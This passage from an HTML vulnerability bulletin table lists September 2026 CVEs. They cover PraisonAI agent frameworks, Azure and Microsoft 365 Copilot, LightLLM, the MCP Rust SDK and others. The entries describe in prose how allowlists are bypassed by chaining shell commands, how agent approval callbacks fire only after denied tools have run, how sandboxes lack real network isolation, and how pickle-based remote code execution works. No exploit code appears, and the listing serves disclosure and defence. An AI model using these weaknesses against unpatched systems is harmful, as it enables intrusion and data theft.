&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.62, setting PRAISONAI_CALL_AUTH to disabled makes verify_token accept requests to /api/v1/agents/{id}/invoke without CALL_SERVER_TOKEN authentication. Deployments that use the application&#039;s advertised opt-out can expose registered agents and their connected tools or private context to unauthenticated invocation. The vulnerability is fixed in 4.6.62.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57132&quot; target=&quot;_blank&quot;&gt;CVE-2026-57132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell() helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to child_process.exec(). A string that starts with an allowed read-only command can append a second non-allowlisted command through shell syntax, allowing arbitrary command execution with the PraisonAI process privileges. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57133&quot; target=&quot;_blank&quot;&gt;CVE-2026-57133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, MCPSecurity.evaluatePolicy() in src/praisonai-ts/src/mcp/security.ts invokes the configured credential validator only when AuthMethod is api-key or bearer. Basic and OAuth policies accept any non-empty Authorization header without calling auth.validate(), then return an authenticated result, allowing callers with invalid credentials to access MCP tools and resources protected by those policies. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57134&quot; target=&quot;_blank&quot;&gt;CVE-2026-57134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts validates only the first whitespace-delimited executable against allowedCommands, then SandboxExecutor passes the complete command string to sh -c. A command beginning with an allowed executable can append a non-allowlisted command through shell metacharacters, causing arbitrary commands to run with the PraisonAI process privileges. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57136&quot; target=&quot;_blank&quot;&gt;CVE-2026-57136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.4.0 until 1.7.2, createAgentLoop() in src/praisonai-ts/src/ai/agent-loop.ts passes executable tools to generateText() before invoking the onToolCall approval callback. Because the wrapped AI SDK executes tool handlers during generation, a callback that returns false records tool_rejected only after the denied tool has already produced side effects and populated toolResults. Applications using onToolCall as a human or policy approval boundary can therefore execute rejected file, command, API, or data-modifying operations. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57137&quot; target=&quot;_blank&quot;&gt;CVE-2026-57137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.59, the CODE_TOOLS wrappers keep _workspace_root as None and pass workspace=None to read_file, search_replace, and apply_diff helpers that enforce path containment only for a truthy workspace. An application that exposes code_read_file, code_search_replace, or code_apply_diff before set_workspace can therefore let prompt-influenced calls read and modify files outside the intended project directory, while explicitly configured workspaces remain effective. This vulnerability is fixed in 4.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56839&quot; target=&quot;_blank&quot;&gt;CVE-2026-56839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57119&quot; target=&quot;_blank&quot;&gt;CVE-2026-57119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--PraisonAI&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, SandboxExecutor network-isolated mode in src/praisonai-ts/src/cli/features/sandbox-executor.ts uses buildEnv() only to inject invalid http_proxy and https_proxy environment variables and does not establish an operating-system network boundary. Programs that ignore those proxy variables can open sockets directly, allowing supposedly isolated commands to reach localhost, internal services, cloud metadata, or external hosts and potentially exfiltrate data. An initial remediation was released in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57135&quot; target=&quot;_blank&quot;&gt;CVE-2026-57135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--praisonaiagents&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, ToolsMCPServer.run_sse and launch_tools_mcp_server bind to 0.0.0.0 and create /sse and /messages/ routes without invoking the available SecurityConfig authentication, origin-validation, or DNS-rebinding controls. Any reachable client can list and invoke registered tools, and a browser can target a local instance through DNS rebinding, with impact determined by the registered file, shell, and code-execution tools. This vulnerability is fixed in praisonaiagents 1.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57123&quot; target=&quot;_blank&quot;&gt;CVE-2026-57123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--praisonaiagents&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, src/praisonai-agents/praisonaiagents/tools/email_tools.py interpolates LLM-controlled from_addr, subject, and query values directly into quoted IMAP SEARCH criteria. Embedded quote, backslash, newline, or null characters can escape the intended criterion and alter IMAP operations when search_emails, reply_email, or archive_email is exposed to an agent with configured email credentials, allowing mailbox data access, modification, deletion, or connection disruption. This issue is fixed in praisonaiagents 1.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57130&quot; target=&quot;_blank&quot;&gt;CVE-2026-57130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MervinPraison--praisonaiagents&lt;/td&gt;
&lt;td&gt;PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, MentionsParser._process_file_mention accepts file-mention values and falls back from workspace-relative resolution to Path(file_path) without traversal, symlink, or workspace-boundary validation. Prompt input from users, bots, or workflows can therefore read arbitrary files accessible to the process, including credentials, keys, environment files, source code, and system configuration. This issue is fixed in praisonaiagents 1.6.59.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57129&quot; target=&quot;_blank&quot;&gt;CVE-2026-57129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;metasfresh--metasfresh&lt;/td&gt;
&lt;td&gt;metasfresh DocumentAttachmentsRestController and CommentsRestController endpoints check only that callers are logged in without enforcing record-level permissions. Attackers can enumerate sequential document identifiers to read, replace, and delete attachments and comments on records their role cannot access.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92752&quot; target=&quot;_blank&quot;&gt;CVE-2026-92752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;micromatch--braces&lt;/td&gt;
&lt;td&gt;braces through 3.0.3 contains a stack overflow vulnerability in the recursive AST walkers that lack depth guards. Attackers can supply deeply nested brace patterns under the character limit to exhaust the call stack and terminate the Node.js process with an uncaught RangeError.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93687&quot; target=&quot;_blank&quot;&gt;CVE-2026-93687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure AI Foundry&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85889&quot; target=&quot;_blank&quot;&gt;CVE-2026-85889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure AI Foundry&lt;/td&gt;
&lt;td&gt;Server-side request forgery (ssrf) in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85917&quot; target=&quot;_blank&quot;&gt;CVE-2026-85917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure ARC&lt;/td&gt;
&lt;td&gt;Azure Arc Elevation of Privilege Vulnerability&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69399&quot; target=&quot;_blank&quot;&gt;CVE-2026-69399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure ARC&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Azure Arc allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70009&quot; target=&quot;_blank&quot;&gt;CVE-2026-70009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Billing&lt;/td&gt;
&lt;td&gt;Insufficient verification of data authenticity in Azure Billing allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62874&quot; target=&quot;_blank&quot;&gt;CVE-2026-62874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Container Registry&lt;/td&gt;
&lt;td&gt;Authorization bypass through user-controlled key in Microsoft Container Registry allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69865&quot; target=&quot;_blank&quot;&gt;CVE-2026-69865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Cosmos DB&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in output used by a downstream component (&#039;injection&#039;) in Azure Cosmos DB allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87701&quot; target=&quot;_blank&quot;&gt;CVE-2026-87701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure HorizonDB&lt;/td&gt;
&lt;td&gt;Improper authorization in Azure Database for PostgreSQL allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85878&quot; target=&quot;_blank&quot;&gt;CVE-2026-85878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Logic Apps&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70200&quot; target=&quot;_blank&quot;&gt;CVE-2026-70200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Logic Apps&lt;/td&gt;
&lt;td&gt;Improper access control in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83944&quot; target=&quot;_blank&quot;&gt;CVE-2026-83944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Machine Learning&lt;/td&gt;
&lt;td&gt;Incorrect authorization in Azure Machine Learning allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68791&quot; target=&quot;_blank&quot;&gt;CVE-2026-68791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Azure Portal&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Azure Portal allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83946&quot; target=&quot;_blank&quot;&gt;CVE-2026-83946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Copilot&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a command (&#039;command injection&#039;) in M365 Copilot allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85885&quot; target=&quot;_blank&quot;&gt;CVE-2026-85885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Copilot&lt;/td&gt;
&lt;td&gt;Incorrect permission assignment for critical resource in M365 Copilot allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85887&quot; target=&quot;_blank&quot;&gt;CVE-2026-85887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Copilot&#039;s Business Chat&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a command (&#039;command injection&#039;) in Microsoft 365 Copilot&#039;s Business Chat allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78501&quot; target=&quot;_blank&quot;&gt;CVE-2026-78501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Dataverse&lt;/td&gt;
&lt;td&gt;Authentication bypass by spoofing in Microsoft Dataverse allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77903&quot; target=&quot;_blank&quot;&gt;CVE-2026-77903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Edge (Chromium-based)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69486&quot; target=&quot;_blank&quot;&gt;CVE-2026-69486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Edge (Chromium-based)&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85893&quot; target=&quot;_blank&quot;&gt;CVE-2026-85893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Edge (Chromium-based)&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Edge (Chromium-based) allows an unauthorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88097&quot; target=&quot;_blank&quot;&gt;CVE-2026-88097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Edge (Chromium-based)&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85892&quot; target=&quot;_blank&quot;&gt;CVE-2026-85892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Fabric&lt;/td&gt;
&lt;td&gt;Authentication bypass by spoofing in Microsoft Fabric allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69843&quot; target=&quot;_blank&quot;&gt;CVE-2026-69843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 11 version 26H1&lt;/td&gt;
&lt;td&gt;Double free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85921&quot; target=&quot;_blank&quot;&gt;CVE-2026-85921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MikroTik--RouterOS&lt;/td&gt;
&lt;td&gt;MikroTik RouterOS before 7.24 contains a heap memory corruption vulnerability in the userspace SMB daemon that allows remote attackers to corrupt adjacent heap memory by supplying a crafted uniPwdLen value in the SMB1 SessionSetupAndX handler. An attacker can send a malformed SMB1 request with a uniPwdLen field that triggers an integer underflow, causing the resulting value to be used as the copy length in a memory copy operation into a smaller heap buffer, corrupting adjacent heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89028&quot; target=&quot;_blank&quot;&gt;CVE-2026-89028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;miniOrange--Headless Single Sign On&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Authentication in Headless Single Sign On &amp;lt;= 1.7.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62108&quot; target=&quot;_blank&quot;&gt;CVE-2026-62108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mistralai--mistral-vibe&lt;/td&gt;
&lt;td&gt;Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user running Vibe.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93993&quot; target=&quot;_blank&quot;&gt;CVE-2026-93993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;modelcontextprotocol--rust-sdk&lt;/td&gt;
&lt;td&gt;RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.0.0, the rmcp crate&#039;s OAuth implementation in crates/rmcp/src/transport/auth.rs omits the RFC 9728 resource field from ResourceServerMetadata and allows discover_oauth_server_via_resource_metadata to use protected-resource metadata without confirming that the returned resource identifier exactly matches the configured MCP server. A malicious MCP server can publish metadata for a different legitimate MCP resource and its authorization server, causing a victim who connects and completes the authorization flow to obtain a legitimate access token that the client subsequently sends to the malicious server. The attacker can capture the token and impersonate the victim against the legitimate MCP resource within the token&#039;s granted scopes. This issue is fixed in version 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63127&quot; target=&quot;_blank&quot;&gt;CVE-2026-63127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;modelcontextprotocol--rust-sdk&lt;/td&gt;
&lt;td&gt;RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.0.0, the rmcp crate&#039;s stateful Streamable HTTP server in crates/rmcp/src/transport/streamable_http_server/tower.rs allows an unauthenticated client to send a well-formed JSON-RPC POST that is not an initialization request, or an initialization request with a mismatched protocol header, causing StreamableHttpService::handle_post to call LocalSessionManager.create_session before validating the message. An early validation failure returns without removing the inserted LocalSessionHandle from LocalSessionManager.sessions, permanently retaining session and channel state for the server process lifetime. Repeated requests can grow the shared session table without bound, degrade legitimate-client latency through lock contention, exhaust memory, and terminate the server. This issue is fixed in version 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63128&quot; target=&quot;_blank&quot;&gt;CVE-2026-63128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ModelTC--LightLLM&lt;/td&gt;
&lt;td&gt;LightLLM through 1.2.0 contains a remote code execution vulnerability in the Config Server&#039;s unauthenticated /visual_register WebSocket endpoint that passes the first client frame directly to pickle.loads(). Attackers can reach the Config Server port and send a malicious serialized payload with a __reduce__ method to execute arbitrary code with Config Server process privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90919&quot; target=&quot;_blank&quot;&gt;CVE-2026-90919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ModelTC--LightLLM&lt;/td&gt;
&lt;td&gt;LightLLM through 1.2.0 contains an authentication bypass vulnerability in the /pd_register WebSocket endpoint that allows unauthenticated attackers to register arbitrary nodes by supplying crafted JSON without peer address validation. Attackers can disclose full user prompts routed to their socket, trigger denial of service by replacing legitimate nodes, or make the PD Master issue requests to internal network addresses.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93839&quot; target=&quot;_blank&quot;&gt;CVE-2026-93839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--C Driver&lt;/td&gt;
&lt;td&gt;A heap-based buffer overflow exists in the TLS transport layer of the MongoDB C Driver when built with the Windows platform TLS backend. A remote endpoint that the client connects to can cause the driver to write uncontrolled data outside the bounds of a heap allocation while processing incoming encrypted traffic after the TLS handshake completes. No authentication or user interaction is required, because the affected processing occurs before any application-level authentication completes. Triggering this issue may lead to memory corruption in the client process, disclosure of adjacent heap memory, or termination of the process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93393&quot; target=&quot;_blank&quot;&gt;CVE-2026-93393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
